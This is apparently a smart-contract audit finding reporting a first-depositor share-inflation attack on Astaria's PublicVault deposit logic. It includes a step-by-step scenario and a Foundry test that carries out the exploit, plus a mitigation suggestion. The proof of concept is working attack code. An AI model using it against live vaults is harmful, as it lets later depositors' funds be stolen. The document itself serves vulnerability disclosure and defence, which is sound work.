joestakey

high

# `PublicVault.deposit()` can be broken by early minter

## Summary

An early minter can break the `VaultToken` price, resulting in future depositors losing `underlying` upon redeem.

## Vulnerability Detail

Liquidity providers earn interest on funds provided to `PublicVaults`. When a liquidity provider deposits capital into a `PublicVault`, they are minted yield-bearing ERC-4626 `VaultTokens`

Liquidity deposit by calling `PublicVault.deposit()`. The function calls `ERC4626Cloned.deposit()`, which computes the amount of `VaultTokens` to be minted, and transfers the liquidity to the `PublicVault`.

The issue is that because of how `convertToShares` computes the amount of shares to be minted, an early minter can inflate the share price and steal `underlying` from future depositors.


# Impact

A direct consequence from this `VaultToken` price inflation is that early minters can essentially steal `underlying` from future minters

## Proof Of Concept

- Alice calls `deposit(1)`, depositing `1` unit of `underlying` in `PublicVault`. She receives `1` `VaultToken`.
- Alice transfers `1e18 - 1` underlying to the `PublicVault` using the `ERC20.transfer()` method.
- Bob calls `PublicVault.deposit(1.999999e18)`.
- Because of Alice's transfer, `totalSupply = 1e18`. `1 * 1.9999 e18 / 1e18` rounds to `1`: Bob receives `1` `VaultToken`: the same amount as Alice.
- Alice calls `redeemFutureEpoch` to redeem her shares at the next epoch. Because she owns half of the shares, she will receive ~`1.5 * 1e18` `underlying`, effectively stealing approximately `0.5 * 1e18` from Bob.

Run this test - you can add it to `AstariaTest.t.sol`:

```solidity
function testAttackSharesBreak() public {
    Dummy721 nft = new Dummy721();
    address tokenContract = address(nft);
    uint256 tokenId = uint256(1);

    address publicVault = _createPublicVault({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    _lendToVault(
      Lender({addr: address(1), amountToLend: 1}),
      publicVault
    );
    uint amountTransfer = 1e18 - 1;
    vm.deal(address(1), amountTransfer);
    vm.startPrank(address(1));
    WETH9.deposit{value: amountTransfer}();
    WETH9.transfer(publicVault, amountTransfer);
    vm.stopPrank();

    uint256 amountTwo = 1.999999999 * 1e18;
    // address(2) provides 1.999999999 * 1e18 of liquidity to the Vault
    _lendToVault(
      Lender({addr: address(2), amountToLend: amountTwo}),
      publicVault
    );

    // uint256 collateralId = tokenContract.computeId(tokenId);
    uint256 vaultBalanceUserOne = IERC20(publicVault).balanceOf(address(1));

    // address(1) and address(2) own the same amount of VaultTokens
    assertEq(1, IERC20(publicVault).balanceOf(address(1)));
    assertEq(1, IERC20(publicVault).balanceOf(address(2)));

    // _signalWithdrawAtFutureEpoch(address(1), publicVault, uint64(1));
    _signalWithdraw(address(1), publicVault);

    address withdrawProxy = PublicVault(publicVault).withdrawProxies(
      PublicVault(publicVault).getCurrentEpoch()
    );


    vm.warp(block.timestamp + 15 days);

    PublicVault(publicVault).processEpoch();

    vm.warp(block.timestamp + 13 days);
    PublicVault(publicVault).transferWithdrawReserve();

    vm.startPrank(address(1));

    WithdrawProxy(withdrawProxy).redeem(
      vaultBalanceUserOne,
      address(1),
      address(1)
    );
    vm.stopPrank();

    //address(1) withdrew ~1.5e18 underlying
    assertApproxEqAbs(ERC20(PublicVault(publicVault).underlying()).balanceOf(address(1)), 1.5 ether,1e17); //10% delta

    // only ~1.5e18 underlying left in Vault: address(2) effectively lost ~0.5e18
    assertApproxEqAbs(ERC20(PublicVault(publicVault).underlying()).balanceOf(publicVault), 1.5 ether,  1e17 ); //10% delta
}
```

## Code Snippet
https://github.com/sherlock-audit/2022-10-astaria/blob/main/lib/astaria-gpl/src/ERC4626-Cloned.sol#L400

## Tool Used

Manual Review, Foundry

## Recommendation

Consider sending the first 1000 `VaultToken` to the address 0, a mitigation used in [Uniswap V2](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124).